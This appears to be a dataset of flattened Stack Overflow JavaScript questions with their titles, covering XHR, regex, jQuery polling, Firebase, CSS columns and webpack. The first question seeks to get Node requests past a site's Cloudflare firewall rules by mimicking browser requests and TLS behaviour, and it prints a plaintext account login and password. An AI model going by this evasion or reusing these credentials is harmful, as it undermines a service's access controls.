what-are-differences-between-xmlhttprequest-and-httprequestAnd for info , I tried this lib without success , because it copies the structure of the XMLHttpRequest but does n't actually act like it.I wonder what is the true network difference between HttpRequest from Node and XMLHttpRequest from a browser.If I just watch the XMLHttpRequest inside chrome 's devtools , I ca n't see any X-Requested-with header in the request.Besides , there 's an online service that is behind CloudFlare 's WAF with custom rules . If I make the request with XMLHttpRequest , it just works , but I do it with https.request it fails being firewalled by CF.I need to do it with HttpRequest so I can configure a proxy.What is the network difference between the two , and how could I simulate a XMLHttpRequest from a HttpRequest ? And is that even possible ? I watched the source of chromium here but ca n't find anything interesting.Maybe it differs from the IO layers ? TCP handshake ? Advices required . ThanksEditHere is the XMLHttpRequest ( working ) The same , as cURL ( not passing the CF 's firewall ) Here is the HttpRequest ( not passing the CF 's firewall ) Edit 2After several tests , the curl command is working , the XHR works too , but with Postman or HttpRequest , it fails.Here is a video of the postman vs curl : https : //streamable.com/81s57The curl command in the video is this one : ( this is a test account so I do n't need it and you can make tests with it ) . You can either add -- compressed flag to the curl request to decompress it or pipe it to gunzip.Edit 3 ( final ) I found out that it was due to the misused ( for CF ) TLS protocol . By downgrading curl which is using OpenSSL/1.1.0f , the calls just work . But since OpenSSL/1.1.0g they don't.You can read more about OpenSSL changelogs here let req = new XMLHttpRequest ( ) ; req.open ( `` post '' , `` https : //haapi.ankama.com/json/Ankama/v2/Api/CreateApiKey '' , true ) ; req.withCredentials = true ; req.setRequestHeader ( 'Accept ' , 'application/json ' ) ; req.setRequestHeader ( 'Content-Type ' , 'text/plain ; charset=UTF-8 ' ) ; req.setRequestHeader ( 'Accept-Encoding ' , 'gzip , deflate , br ' ) ; req.onload = function ( ) { console.log ( req.response ) } ; req.send ( `` login=smallladybug949 & password=Tl9HDKWjusopMWy & long_life_token=true '' ) ; curl 'URL ' \-H 'origin : null ' \-H 'accept-encoding : gzip , deflate , br ' \-H 'user-agent : Mozilla/5.0 ( Linux ; Android 6.0.1 ; Z988 Build/MMB29M ) AppleWebKit/537.36 ( KHTML , like Gecko ) Version/4.0 Chrome/69.0.3497.100 Mobile Safari/537.36 ' \-H 'content-type : text/plain ; charset=UTF-8 ' \-H 'accept : application/json ' \-H 'authority : URL.com ' \ -- data-binary 'login=123 & password=def ' \ -- compressed let opts = url.parse ( URL ) ; opts.method = post ; opts.headers = { 'Accept ' : 'application/json ' , 'Content-Type ' : 'text/plain ; charset=UTF-8 ' , 'Accept-Encoding ' : 'gzip , deflate , br ' , 'User-Agent ' : 'Mozilla/5.0 ( Linux ; Android 8.0.0 ; SM-G960F Build/R16NW ) AppleWebKit/537.36 ( KHTML , like Gecko ) Chrome/64.0.3282.137 Mobile Safari/537.36 ' } let req = https.request ( opts , function ( res ) { res.setEncoding ( 'utf8 ' ) ; res.body = `` '' ; res.on ( 'data ' , ( chunk ) = > { res.body += chunk ; } ) ; res.on ( 'end ' , ( chunk ) = > { try { res.body = JSON.parse ( res.body ) ; } catch ( e ) { return reject ( res.body ) ; // error , http 403 / 1020 error from CF ( custom FW rule ) } console.log ( res.body ) ; // we 'll not reach this } ) ; } ) ; req.on ( 'error ' , e = > { console.error ( 'error ' , e ) ; } ) ; req.write ( `` login=abc & password=def '' ) ; req.end ( ) ; curl -X POST \ https : //haapi.ankama.com/json/Ankama/v2/Api/CreateApiKey \ -H 'accept : application/json ' \ -H 'accept-encoding : gzip , deflate , br ' \ -H 'accept-language : fr ' \ -H 'authority : haapi.ankama.com ' \ -H 'content-type : text/plain ; charset=UTF-8 ' \ -H 'origin : null ' \ -H 'user-agent : Mozilla/5.0 ( Linux ; Android 8.0.0 ; SM-G960F Build/R16NW ) AppleWebKit/537.36 ( KHTML , like Gecko ) Chrome/64.0.3282.137 Mobile Safari/537.36 ' \ -d 'login=smallladybug949 & password=Tl9HDKWjusopMWy & long_life_token=true '",True difference between HttpRequest and XMLHttpRequest "JS : I want to match all mentioned users in comment . Example : I 'm expecting [ `` @ Agneš '' , `` @ Petar '' ] but getting [ `` @ Agne '' , `` @ Petar '' ] . As you can see š symbol is not matched.How can I match all letter symbols include non-ascii ? var comment = ' @ Agneš , @ Petar , please take a look at this ' ; var mentionedUsers = comment.match ( / @ \w+/g ) ; console.log ( mentionedUsers )",JavaScript - match non-ascii symbols using regex "JS : EDIT : Everything works ; the pushes work . The only problem is that on each push the # load_info div is reset to empty . How can I preserve the original content inside the div , though the content would be the updated version of itself as the XML file is re-pushed.I have a PHP script for long polling an XML file and encoding it as a JSON array . It is called from frontend with the JSON as the parameter.Then I have a jQuery script for instancing the JSON object ( msg2 ) for appending each node into a div called # load_data . My question is why is the jQuery below not working ? My guess is either the $ ( window ) .find is n't working in the get_person ( id ) function and/or my functions are out of scope with the polling . To note , the PHP and JS were 100 % working before I started trying to incorporate the show_person ( ) and get_person ( ) functions . Working as in , when a certain button inside the # load_button div was clicked it would toggle a piece of information 's view with an id that matched the button 's value attribute with .show ( ) , which was initially hidden ; then if another button was clicked the old info would be hidden with .hide ( ) and the new data would be seen . This was my round-about solution for using long-polling to update DOM elements by just loading them all up in the beginning , however if a piece of information is shown while a new poll occurs ( var timestamp gets updated ) , then the elements inside of # load_info will temporarily get lost from the DOM , therefore resulting in an empty # load_info div until the next button is clicked . So am trying to add some additional functions to store DOM data inside the var $ person so that after a poll whatever was shown prior would reappear . What can be changed or added to get this jQuery script working as intended ? Thanks in advance ! $ filename= dirname ( __FILE__ ) . `` /people.xml '' ; $ lastmodif = isset ( $ _GET [ 'timestamp ' ] ) ? $ _GET [ 'timestamp ' ] : 0 ; $ currentmodif=filemtime ( $ filename ) ; while ( $ currentmodif < = $ lastmodif ) { usleep ( 10000 ) ; clearstatcache ( ) ; $ currentmodif =filemtime ( $ filename ) ; } $ response = array ( ) ; $ xObj = simplexml_load_file ( $ filename ) ; // Loop for # loadMe . foreach ( $ xObj as $ person ) { $ concat_buttons .= `` < button class='mybutton ' value= ' '' . ( string ) $ person- > id . `` ' > `` . ( string ) $ person- > fullName . `` < /button > '' ; } // Loop for # toadMe . foreach ( $ xObj as $ person ) { $ concat_info .= `` < div class='div div_ ' data-person-id= ' '' . ( string ) $ person- > id . `` ' id= ' '' . ( string ) $ person- > id . `` ' > < h1 > `` . ( string ) $ person- > job . `` < /h1 > < /div > '' ; } // Output for AJAX . $ response [ 'msg ' ] = $ concat_buttons ; $ response [ 'msg2 ' ] = $ concat_info ; $ response [ 'timestamp ' ] = $ currentmodif ; echo json_encode ( $ response ) ; var timestamp=null ; function waitForMsg ( ) { $ .ajax ( { type : `` GET '' , url : `` getData.php ? timestamp= '' +timestamp , async : true , cache : false , success : function ( data ) { var json=eval ( ' ( '+data+ ' ) ' ) ; if ( json [ 'msg ' ] ! = `` '' ) { $ ( `` # load_buttons '' ) .empty ( ) ; $ ( `` # load_buttons '' ) .append ( json [ 'msg ' ] ) ; // Update any person divs that were already visible . $ ( ' # load_info .person ' ) .each ( function ( ) { // Grabs the ID from data-person-id set earlier . var id = $ ( this ) .data ( 'person-id ' ) ; show_person ( id ) ; } ) ; } timestamp = json [ `` timestamp '' ] ; setTimeout ( `` waitForMsg ( ) '' ,1000 ) ; } , error : function ( XMLHttpRequest , textStatus , errorThrown ) { setTimeout ( `` waitForMsg ( ) '' ,15000 ) ; } } ) ; } $ ( document ) .on ( 'click ' , '.mybutton ' , function ( ) { $ ( ' # load_info ' ) .empty ( ) ; show_person ( this.value ) ; } ) ; function show_person ( id ) { $ ( ' # person-detail- ' + id ) .remove ( ) ; get_person ( id ) .appendTo ( ' # load_info ' ) ; } function get_person ( id ) { var $ person = $ ( window ) .find ( 'id : contains ( id ) ' ) ; var $ div = $ ( ' < div > ' , { 'class ' : 'person ' , 'data-person-id ' : id , id : id } ) ; $ person.find ( h1 ) .text.appendTo ( $ div ) ; return $ div ; }",Long Polling to update DOM while conserving accumulated attributes from jQuery "JS : I 'm really tired of syntax like this : I wonder if there 's any way to pass all parameters in one function , something like : Much appreciate any help . .css ( 'position ' , 'absolute ' ) .css ( ' z-index ' , z-index ) .css ( 'border ' , '1px solid # 00AFFF ' ) .css ( 'margin ' , '-1px 0px 0px -1px ' ) .css ( 'left ' , pleft ) .foo ( 'position ' : 'absolute ' , ' z-index ' : z-index , 'border ' : '1px solid # 00AFFF ' , 'margin ' : '-1px 0px 0px -1px ' , 'left ' : pleft )",jquery : tired of css ( ) .css ( ) .css ( ) "JS : I 'm trying to set up react with firebase authentication . There is a problem with the registration page . When I comment out the registration page , my local page renders without any issues . When I uncomment this page , I get an error that says : I have tried to recreate the minimum part of the app in this code sandbox : https : //codesandbox.io/s/6w2r0267kk . However , I am getting an error in code sandbox that says : TypeError - Could not fetch dependencies , please try again in a couple seconds : Failed to fetch . This error takes about 2 hours to appear each time , and has repeated 3 times now . I 'm not sure if I 'm doing something wrong in trying to use that tool.Others who have encountered the same error message as me have suggested that 'this ' may not be correctly defined : Uncaught TypeError : Can not read property 'app ' of undefinedFor me , that const is assigned in row 22 . Searching further into that line of enquiry , people note that this is an ES5 expression that should be updated for ES6 - and then leads down a path of reasoning that suggests this is n't a useful method to use in ES6 . I 'm not sure if trying to figure that out is part of the process toward a solution for me.When I just use the code sandbox on the Register Page , a syntax error in the return statement that starts at line 78 is indicated , but I ca n't see what 's wrong with that . Can anyone help with examples of how to get started with Firebase authentication in react ( with a pending flag on user sign ups ) . I did n't write this code myself and struggle to understand the basics at the best of times , so I 'd like to try to figure this out as a learning exercise , but if it 's not a sound basis , then I 'd also appreciate that advice . npm.js:341 Uncaught TypeError : Can not read property 'app ' of undefined at new hm ( npm.js:341 ) at Object. < anonymous > ( RegisterPage.js:12 ) at __webpack_require__ ( bootstrap 5a6a0f74168ebcba0a5a:19 ) at Object.defineProperty.value ( AppRouter.js:10 ) at __webpack_require__ ( bootstrap 5a6a0f74168ebcba0a5a:19 ) at Object. < anonymous > ( app.js:7 ) at __webpack_require__ ( bootstrap 5a6a0f74168ebcba0a5a:19 ) at Object. < anonymous > ( bundle.js:50999 ) at __webpack_require__ ( bootstrap 5a6a0f74168ebcba0a5a:19 ) at module.exports ( bootstrap 5a6a0f74168ebcba0a5a:62 )",React with Firebase authentication "JS : I 'm trying to understand the difference when adding a function to an event listener and what implications it has.http : //jsfiddle.net/paptd/The first button fires the console.log 3 times while the second only fires it once.Why and what should you use when adding a function to an event listener in a normal situation ? var buttons = document.getElementsByTagName ( 'button ' ) ; for ( i = 0 , len = 3 ; i < len ; i++ ) { var log = function ( e ) { console.log ( i ) ; } buttons [ 0 ] .addEventListener ( `` click '' , log ) ; } for ( i = 0 , len = 3 ; i < len ; i++ ) { function log ( e ) { console.log ( i ) ; } buttons [ 1 ] .addEventListener ( `` click '' , log ) ; }",var a = function ( ) vs function a ( ) for event listener ? "JS : I am testing my application and need to verify that mongoose schema constructor is called with correct data.let 's say I do this : I would expect log of the user object.Probably the data is passed to constructor of mongoose schema ? Can some one please advise me how to access it ? Here is specific case I am trying to solve.And part of test : EDIT : I can verify that is is called with expect ( constructorStub.calledOnce ) .to.be.trueJust ca n't get to verify data passed . const UserData = new User ( user ) console.log ( UserData.contructor.args ) export const signup = async ( req , res , next ) = > { try { //if user object is missing return error if ( ! req.body.user ) return next ( boom.unauthorized ( 'No user data received . ' ) ) //get user data const user = req.body.user , { auth : { local : { password , password_2 } } } = user //check if both passwords match if ( password ! == password_2 ) return next ( boom.unauthorized ( 'Passwords do not match . ' ) ) //check if password is valid if ( ! Password.validate ( password ) ) { const errorData = Password.validate ( password , { list : true } ) return next ( boom.notAcceptable ( 'Invalid password . ' , errorData ) ) } //creates new mongo user const UserData = new User ( user ) //sets user password hash UserData.setPassword ( password ) //saves user to database await UserData.save ( ) //returns new users authorization data return res.json ( { user : UserData.toAuthJSON ( ) } ) } catch ( err ) { //if mongo validation error return callback with error if ( err.name === 'ValidationError ' ) { return next ( boom.unauthorized ( err.message ) ) } // all other server errors return next ( boom.badImplementation ( 'Something went wrong ' , err ) ) } } describe ( 'Success ' , ( ) = > { it ( 'Should create new instance of User with request data ' , async ( ) = > { const req = { body } , res = { } , local = { password : '1aaaBB ' , password_2 : '1aaaBB ' } , constructorStub = sandbox.stub ( User.prototype , 'constructor ' ) req.body.user.auth.local = { ... local } await signup ( req , res , next ) expect ( constructorStub.calledOnceWith ( { ... req.body.user } ) ) .to.be.true } ) } )",How to get data passed to mongoose schema constructor "JS : Fiddle here : http : //jsfiddle.net/y97h9/The above code will print 'Test ' two times in the console . How can I make it print only one time . Is it possible ? $ ( `` # div1 , # div2 '' ) .fadeIn ( '500 ' , function ( ) { { console.log ( 'Test ' ) ; } } ) ;",How to execute the function once ? "JS : I have an array of strings , like soI want to sort it alphabetically , so I use array.sort ( ) , and the result I get is : I guess the accents are the problems here , so I would like to replace the É with an E all over my array.I tried this But it did n't work . How could I do this ? let array = [ 'Enflure ' , 'Énorme ' , 'Zimbabwe ' , 'Éthiopie ' , 'Mongolie ' ] [ 'Enflure ' , 'Mongolie ' , 'Zimbabwe ' , 'Énorme ' , 'Éthiopie ' ] for ( var i = 0 ; i < ( array.length ) ; i++ ) { array [ i ] .replace ( /É/g , `` E '' ) ; }",Remove accents in an array of strings JS : Which way is more efficient ? Is there a difference ? This one : Or this one : var str = 'abc ' ; if ( str.length == 20 ) { // ... } if ( str.length == 25 ) { // ... } // and so on var str = 'abc ' ; var length = str.length ; if ( length == 20 ) { // ... } if ( length == 25 ) { // ... } // and so on,Is javascript str.length calculated every time it is called or just once ? "JS : Attempting this : Typescript says : [ ts ] Spread types may only be created from object types.Should not T extends Object take care of this ? /** * Deep clones an array of instances of type T and returns a new array . * @ param array The array to deep clone * @ return A new deep clone of the array argument * * @ example < pre > const original = [ new Todo ( ) , new Todo ( ) ] ; const result = [ new Todo ( ) , new Todo ( ) ] ; expect ( deepClone ( original ) ) .to.eql ( result ) ; < /pre > */export function deepClone < T extends Object > ( array : T [ ] ) : T [ ] { return array.map ( ( e : T ) = > ( { ... e } ) ) ; }",Deep cloning Entity instances in Typescript ? "JS : I 'm working on a bookmarklet which will let users to write on any input fields in our language . We choose Ctrl+M for switching layout between default and our language ( Inspired by Wikipedia ) . It was working fine in almost every website with chrome . When we started checking with Firefox we found that it only fails in Facebook . Moreover , Facebook catches the Ctrl+M from outside the window scope . Like , form the address bar , search bar , firebug console , etc.I 've tried with raw javascript , jQuery and also with the jQuery Hotkeys plugin by John Resig but no luck : ( Here is a version that I had tried . You can run it on your Firebug console for testing purpose - ( function ( ) { var noConflictMode = false ; if ( typeof $ ! == 'undefined ' ) noConflictMode = true ; if ( typeof jQuery === 'undefined ' ) { var root = ( document.getElementsByTagName ( 'head ' ) [ 0 ] || document.getElementsByTagName ( 'body ' ) [ 0 ] ) ; var ns = document.createElementNS & & document.documentElement.namespaceURI ; var script = ns ? document.createElementNS ( ns , 'script ' ) : document.createElement ( 'script ' ) ; script.type = 'text/javascript ' ; script.onreadystatechange = function ( ) { if ( this.readyState == 'complete ' ) test ( ) ; } script.onload= test ; script.src= 'https : //ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.min.js ' ; root.appendChild ( script ) ; } else { test ( ) ; } function test ( ) { if ( noConflictMode ) jQuery.noConflict ( ) ; jQuery ( window ) .on ( 'keydown keyup keypress ' , function ( e ) { e.preventDefault ( ) ; // For Firefox e.stopPropagation ( ) ; // Extra effort : | e.stopImmediatePropagation ( ) e.cancelBubble = true ; console.log ( e ) ; return false ; } ) ; } } ) ( ) ;",Override Ctrl+M hotkey of Facebook in Firefox "JS : Here are my files : And here is the relevant contents of my app.js file : Running this code successfully creates a res.pdf file in the same directory . However , rather than creating a file , I would like to get the PDF as a stream and send it as a response to the browser instead . I 'm trying to avoid creating any PDF files in the server , I just want to send the generated PDF as a response immediately . Is it possible to alter this code to do this ? .├── app.js├── res.cls└── res.tex const { spawn } = require ( 'child_process ' ) const latex = spawn ( 'pdflatex ' , [ 'res.tex ' ] )",How to use a pdflatex child process to get a PDF as a stream in Node.js ? "JS : I read in the 'Professional JavaScript for Web Developers ' by Nicholas Zakas in p.78 of 3rd edition ( last one I think ) : The switch statement compares values using the identically equal operator , so no type coercion occurs ( for example the string `` 10 '' is not equal to the number 10 ) .I made up some simple switch statement just to confirm and the result was different : https : //jsfiddle.net/pbxyvjyf/So , type coercion is done : the alert ( `` between 0 and 10 '' ) is chosen.Have the rules changed or am I doing something wrong ? var num = `` 9 '' ; switch ( true ) { case num < 0 : alert ( `` less than 0 '' ) ; break ; case num > = 0 & & num < 10 : alert ( `` between 0 and 10 '' ) ; break ; default : alert ( `` False '' ) ; }",Switch statement and type coercion "JS : I was in an interview and I got all the questions right except for this one . The first question leading up to it was how do you write a function for mod ( 3,9 ) so that it returns 0.Ok , easy : After that was how do you write the function mod ( 3 ) ( 9 ) so that it returns 0 ? I was stumped ... function mod ( a , b ) { return b % a ; }",How can I write a function for mod ( 3 ) ( 9 ) ? "JS : If i want to add a custom property to my backbone model , is this the best was to do this ? Is there a better way or a completely different approach to the functionality i want to achieve ? Thanks ! Edit : The property is just `` virtual '' , i do not want it to be within the model attributes when saving the model to the server . var myModel = Backbone.Model.extend ( { defaults : { monthly_amount : 100 } , initialize : function ( model , options ) { var m = this ; Object.defineProperty ( this , '' yearly_amount '' , { get : function ( ) { return ( m.get ( `` monthly_amount '' ) * 12 ) ; } , set : function ( value ) { m.set ( `` monthly_amount '' , ( value/12 ) ) ; } } ) ; } } ) ;",defineProperty on Backbone model "JS : Using CSS columns I can format contiguous data into columns without having to manually break it into sections . This is especially useful when displaying complex , dynamic content.However when the columns ' content is so long that their height is greater than the viewport , dividing into columns makes for a poor reading experience . When the reader reaches the bottom of one column they must manually scroll up to begin reading the next.In traditional print layouts , readability issues with very long columns are generally mitigated by breaking the columns into sections that 'restart ' the column . ( Physical pages themselves form a natural separation that the endlessly scrolling webpage does not have ) . The image below shows how horizontal section breaks makes columnar content that is longer than the height of the viewport more readable . ( Note that by 'restart the columns ' I mean that once you reach the end of a left-hand column section you then read the right-hand column of that section before scrolling down to read both columns of the next section . https : //www.shutterstock.com/image-vector/newspaper-template ... might illustrate it more clearly ) .There are very few guarantees for the column content . It may contain any number of paragraphs , images , nested block elements , nested inline elements and so on . Example markup is shown below.I would like to automatically break my columns into regular sections after the columns reach a maximum height , as in the image above.I have not found any property that controls the layout of CSS columns in this way . CSS regions look promising but have very poor browser support.Computing the height of content with JavaScript and then inserting wrappers for each column block is probably possible , but not ideal . The content is dynamic and may change at any time , meaning the function must be run on every change . In addition the content may be very complex with sub elements that need to traverse section breaks , so naively inserting wrappers for each section will likely break the layout.How can I automatically set section breaks for columnar content after a maximum height ? ( I am not married to the idea of CSS columns ; perhaps a creative use of flex or inline-block will give the result I need ) . .columns { columns : 2 200px ; } .columns * { max-width : 100 % ; } < div class= '' columns '' > < div class= '' introduction '' > < p > Lorem ipsum dolor sit amet , consectetur adipiscing elit . Maecenas posuere dictum tincidunt . Cras in lectus eget libero suscipit venenatis at sit amet dolor . Donec tempor cursus justo , volutpat sodales dolor tempor eu. < /p > < p class= '' a-class '' > Pellentesque nec tempor sapien , sed vehicula sem . Ut pretium leo eget nisi cursus viverra . Ut ultrices porta nibh , sed laoreet felis condimentum sit amet . Aliquam a felis nec urna dignissim placerat sed sit amet elit . Donec elementum sagittis purus , facilisis convallis urna dapibus eu . Lorem ipsum dolor sit amet , consectetur adipiscing elit . Aliquam erat volutpat . Phasellus vel placerat metus . In efficitur enim eget lacinia ultrices . Duis ultricies dignissim nisi , id ultricies nulla venenatis vitae. < /p > < /div > < img src= '' https : //i.kym-cdn.com/entries/icons/original/000/016/546/hidethepainharold.jpg '' > < div class= '' body '' style= '' '' > < p > Suspendisse quis ante ullamcorper , lobortis orci ut , vestibulum dolor . Aenean sit amet purus commodo , sagittis leo vel , consequat nisi . Vestibulum sit amet sem vitae sapien pulvinar finibus . Ut sapien purus , luctus condimentum iaculis quis , lobortis at elit . Cras nulla ante , scelerisque ut aliquet in , elementum vel turpis . Vestibulum ipsum magna , congue sit amet sodales vel , aliquam vel nunc . < img src= '' https : //upload.wikimedia.org/wikipedia/commons/e/e0/SNice.svg '' width= '' 100 '' > Sed eu dapibus nulla . In ut libero sit amet elit elementum gravida . Suspendisse quis quam consequat , pretium felis vel , laoreet turpis . Proin fringilla lobortis magna . Duis quam sapien , sodales nec accumsan id , ullamcorper eget tellus . Aliquam vitae orci cursus , porttitor ligula ut , fringilla odio . Donec a lorem ac eros interdum varius ultricies quis nulla. < /p > < /div > < p contenteditable= '' true '' > Nunc in elit tincidunt , ultrices massa sed , ultricies elit . In nec accumsan metus . Nullam ultricies eget tortor ut malesuada . Fusce in elit sit amet dolor bibendum malesuada. < /p > < div style= '' display : none '' > < p > Curabitur sed hendrerit massa , vitae porta enim. < /p > < /div > < div > < div > < span > hey < /span > < div id= '' an-id '' > Nullam ultricies eget tortor ut malesuada . Fusce in elit sit amet dolor bibendum malesuada . Nulla sed nisi vel nulla aliquam blandit . Nam vel tellus ut libero ultrices volutpat . Curabitur blandit quis arcu rutrum ullamcorper . Cras et pharetra augue , eget eleifend sem . < img src= '' https : //socialnewsdaily.com/wp-content/uploads/2018/08/Webp.net-resizeimage-27.jpg '' > < /div > < /div > < /div > < p > Mauris accumsan condimentum porttitor . Quisque tellus justo , suscipit sit amet posuere in , scelerisque nec orci . Aenean iaculis nisi in porta viverra . Sed eget ultricies nibh . Donec accumsan laoreet interdum . Donec risus mauris , dapibus et pulvinar at , posuere non nisi . Mauris at viverra nunc . Ut laoreet suscipit erat et cursus . Aenean id lacus volutpat lectus condimentum posuere . Nam ut lectus elit . Morbi sagittis elementum libero . Donec congue dolor sed tristique efficitur . < /p > < p > < div > < p > Sed elementum velit sapien , et tristique justo bibendum at . Aliquam tincidunt magna nec nisi congue varius . Etiam dolor eros , rhoncus quis purus a , tempus malesuada quam . Sed bibendum condimentum eros vitae varius . Donec fermentum magna vel tellus tempus , nec finibus neque fermentum . Mauris tempus nisl sit amet lacus fermentum , at egestas urna egestas. < /p > < p > Interdum et malesuada fames ac ante ipsum primis in faucibus . Suspendisse ultrices lectus vitae nisl congue , sed porta dolor luctus . Donec aliquet at sapien sit amet tincidunt . Mauris vestibulum consectetur augue at imperdiet. < /p > < /div > < /p > < /div >",Section breaks for very long CSS columns "JS : I 'm struggling with my first attempt with webpack.I 'm getting the following error in the browser console.This is my webpack.config.vendor.js codeAnd this is my webpack.config.js code.I 've included jquery-sparkline but I still get that error . I can see the sparkline code inside vendor.js but it does n't appear to make any difference.I also looked at the vendor manifest file and it contains this but no other mention of sparkline.I also do n't understand why I had to put the ProvidePlugin below in both files . Surely once should be enough , but when it was only in the vendor file , I got browser errors saying that it could n't find $ .Any help would be greatly appreciated ! Thanks ERROR TypeError : $ ( ... ) .sparkline is not a function const path = require ( 'path ' ) ; const webpack = require ( 'webpack ' ) ; //const ExtractTextPlugin = require ( 'extract-text-webpack-plugin ' ) ; const merge = require ( 'webpack-merge ' ) ; const treeShakableModules = [ ' @ angular/animations ' , ' @ angular/common ' , ' @ angular/compiler ' , ' @ angular/core ' , ' @ angular/forms ' , ' @ angular/http ' , ' @ angular/platform-browser ' , ' @ angular/platform-browser-dynamic ' , ' @ angular/router ' , 'zone.js/dist/zone ' , ] ; const nonTreeShakableModules = [ 'jquery ' , 'jquery-sparkline ' , '.\\node_modules\\jquery-sparkline\\jquery.sparkline.js ' , ' @ angular/material ' , 'event-source-polyfill ' , '.\\wwwroot\\assets\\styles\\style.scss ' , '.\\node_modules\\chartist\\dist\\chartist.css ' , '.\\node_modules\\quill\\dist\\quill.snow.css ' , '.\\node_modules\\quill\\dist\\quill.bubble.css ' , '.\\node_modules\\angular-calendar\\css\\angular-calendar.css ' , '.\\node_modules\\dragula\\dist\\dragula.css ' , '.\\ClientApp\\styles.css ' , ] ; const allModules = treeShakableModules.concat ( nonTreeShakableModules ) ; module.exports = ( env ) = > { const isDevBuild = ! ( env & & env.prod ) ; const sharedConfig = { stats : { `` modules '' : true } , resolve : { extensions : [ '.js ' ] , } , module : { rules : [ { test : /\ . ( png|woff|woff2|eot|ttf|svg ) ( \ ? | $ ) / , use : 'url-loader ? limit=100000 ' } ] } , output : { publicPath : 'dist/ ' , filename : ' [ name ] .js ' , library : ' [ name ] _ [ hash ] ' } , plugins : [ new webpack.ProvidePlugin ( { $ : 'jquery ' , jQuery : 'jquery ' } ) , // Maps these identifiers to the jQuery package ( because Bootstrap expects it to be a global variable ) new webpack.ContextReplacementPlugin ( /\ @ angular\b . *\b ( bundles|linker ) / , path.join ( __dirname , './ClientApp ' ) ) , // Workaround for https : //github.com/angular/angular/issues/11580 new webpack.ContextReplacementPlugin ( /angular ( \\|\/ ) core ( \\|\/ ) @ angular/ , path.join ( __dirname , './ClientApp ' ) ) , // Workaround for https : //github.com/angular/angular/issues/14898 new webpack.ContextReplacementPlugin ( /\ @ angular ( \\|\/ ) core ( \\|\/ ) esm5/ , path.join ( __dirname , './ClientApp ' ) ) , // Workaround for https : //github.com/angular/angular/issues/20357 new webpack.IgnorePlugin ( /^vertx $ / ) // Workaround for https : //github.com/stefanpenner/es6-promise/issues/100 ] } ; const clientBundleConfig = merge ( sharedConfig , { entry : { // To keep development builds fast , include all vendor dependencies in the vendor bundle . // But for production builds , leave the tree-shakable ones out so the AOT compiler can produce a smaller bundle . vendor : isDevBuild ? allModules : nonTreeShakableModules } , output : { path : path.join ( __dirname , 'wwwroot ' , 'dist ' ) } , module : { rules : [ { test : /\.scss $ / , use : [ 'to-string-loader ' , 'css-loader ' , 'sass-loader ' ] } , { test : /\.css $ / , use : [ 'to-string-loader ' , isDevBuild ? 'css-loader ' : 'css-loader ? minimize ' ] } , // { //test : /\.scss $ / , use : ExtractTextPlugin.extract ( { // use : [ 'css-loader ' , 'sass-loader ' ] , // // use style-loader in development // fallback : `` style-loader '' // } ) // } ] } , plugins : [ new webpack.DllPlugin ( { context : __dirname , path : path.join ( __dirname , 'wwwroot ' , 'dist ' , ' [ name ] -manifest.json ' ) , name : ' [ name ] _ [ hash ] ' } ) ] .concat ( isDevBuild ? [ ] : [ new webpack.optimize.UglifyJsPlugin ( ) ] ) } ) ; const serverBundleConfig = merge ( sharedConfig , { target : 'node ' , resolve : { mainFields : [ 'main ' ] } , entry : { vendor : allModules.concat ( [ 'aspnet-prerendering ' ] ) } , output : { path : path.join ( __dirname , 'ClientApp ' , 'dist ' ) , libraryTarget : 'commonjs2 ' , } , module : { rules : [ { test : /\.scss $ / , use : [ 'to-string-loader ' , 'css-loader ' , 'sass-loader ' ] } , { test : /\.css $ / , use : [ 'to-string-loader ' , isDevBuild ? 'css-loader ' : 'css-loader ? minimize ' ] } , // { //test : /\.scss $ / , use : ExtractTextPlugin.extract ( { // use : [ 'css-loader ' , 'sass-loader ' ] , // // use style-loader in development // fallback : `` style-loader '' // } ) // } ] } , plugins : [ new webpack.DllPlugin ( { context : __dirname , path : path.join ( __dirname , 'ClientApp ' , 'dist ' , ' [ name ] -manifest.json ' ) , name : ' [ name ] _ [ hash ] ' } ) ] } ) ; return [ clientBundleConfig , serverBundleConfig ] ; } const path = require ( 'path ' ) ; const webpack = require ( 'webpack ' ) ; const merge = require ( 'webpack-merge ' ) ; const AngularCompilerPlugin = require ( ' @ ngtools/webpack ' ) .AngularCompilerPlugin ; const CheckerPlugin = require ( 'awesome-typescript-loader ' ) .CheckerPlugin ; const ExtractTextPlugin = require ( 'extract-text-webpack-plugin ' ) ; module.exports = ( env ) = > { // Configuration in common to both client-side and server-side bundles const isDevBuild = ! ( env & & env.prod ) ; const sharedConfig = { stats : { modules : true } , context : __dirname , resolve : { extensions : [ '.js ' , '.ts ' ] } , output : { filename : ' [ name ] .js ' , publicPath : 'dist/ ' // Webpack dev middleware , if enabled , handles requests for this URL prefix } , module : { rules : [ { test : /\.ts $ / , use : isDevBuild ? [ 'awesome-typescript-loader ? silent=true ' , 'angular2-template-loader ' , 'angular2-router-loader ' ] : ' @ ngtools/webpack ' } , { test : /\.html $ / , use : 'html-loader ? minimize=false ' } , { test : /\.css $ / , use : [ 'to-string-loader ' , isDevBuild ? 'css-loader ' : 'css-loader ? minimize ' ] } , // { // test : /\.scss $ / , use : ExtractTextPlugin.extract ( { // use : [ 'css-loader ' , 'sass-loader ' ] , // // use style-loader in development // fallback : `` style-loader '' // } ) // } , { test : /\.scss $ / , use : [ 'to-string-loader ' , 'css-loader ' , 'sass-loader ' ] } , { test : /\ . ( png|jpg|jpeg|gif|svg ) $ / , use : 'url-loader ? limit=25000 ' } ] } , plugins : [ new ExtractTextPlugin ( { filename : 'vendor.css ' , disable : false , allChunks : true } ) , new webpack.ProvidePlugin ( { $ : 'jquery ' , jQuery : 'jquery ' } ) , // Maps these identifiers to the jQuery package ( because Bootstrap expects it to be a global variable ) new CheckerPlugin ( ) ] } ; // Configuration for client-side bundle suitable for running in browsers const clientBundleOutputDir = './wwwroot/dist ' ; const clientBundleConfig = merge ( sharedConfig , { entry : { 'main-client ' : './ClientApp/boot.browser.ts ' } , output : { path : path.join ( __dirname , clientBundleOutputDir ) } , plugins : [ new webpack.DllReferencePlugin ( { context : __dirname , manifest : require ( './wwwroot/dist/vendor-manifest.json ' ) } ) ] .concat ( isDevBuild ? [ // Plugins that apply in development builds only new webpack.SourceMapDevToolPlugin ( { filename : ' [ file ] .map ' , // Remove this line if you prefer inline source maps moduleFilenameTemplate : path.relative ( clientBundleOutputDir , ' [ resourcePath ] ' ) // Point sourcemap entries to the original file locations on disk } ) ] : [ // Plugins that apply in production builds only new webpack.optimize.UglifyJsPlugin ( ) , new AngularCompilerPlugin ( { tsConfigPath : './tsconfig.json ' , entryModule : path.join ( __dirname , 'ClientApp/app/components/app.browser.module # AppModule ' ) , exclude : [ 